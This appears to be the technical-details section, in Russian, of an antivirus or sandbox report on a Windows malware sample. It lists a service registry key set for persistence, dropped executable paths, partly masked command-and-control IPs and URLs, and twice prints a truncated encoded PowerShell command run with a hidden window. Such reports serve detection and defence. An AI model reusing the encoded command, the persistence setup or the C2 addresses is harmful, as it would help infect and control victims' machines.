Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDCA] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDCA] 'ImagePath' = '"%WINDIR%\SysWOW64\d3d10_1\KBDCA.exe"'
- 'KBDCA' "%WINDIR%\SysWOW64\d3d10_1\KBDCA.exe"
- 'KBDCA' %WINDIR%\SysWOW64\d3d10_1\KBDCA.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQ...
- %HOMEPATH%\uofwsuv\lnxyn6_\mjlzifmu.exe
- %WINDIR%\syswow64\d3d10_1\kbdca.exe
- %HOMEPATH%\uofwsuv\lnxyn6_\mjlzifmu.exe в %WINDIR%\syswow64\d3d10_1\kbdca.exe
- '74.##9.172.26':80
- '13#.#09.36.254':8080
- http://rh####-building.com/wp-admin/Ey8qV0/
- http://13#.##9.36.254:8080/I4gTYH/mjZdofov8T48KmWi8J/0oT3dSJmWCKWeqaj/IUjtJDg/HbgGwEd2/ via 13#.#09.36.254
- DNS ASK rh####-building.com
- '%HOMEPATH%\uofwsuv\lnxyn6_\mjlzifmu.exe'
- '%WINDIR%\syswow64\d3d10_1\kbdca.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQ...' (со скрытым окном)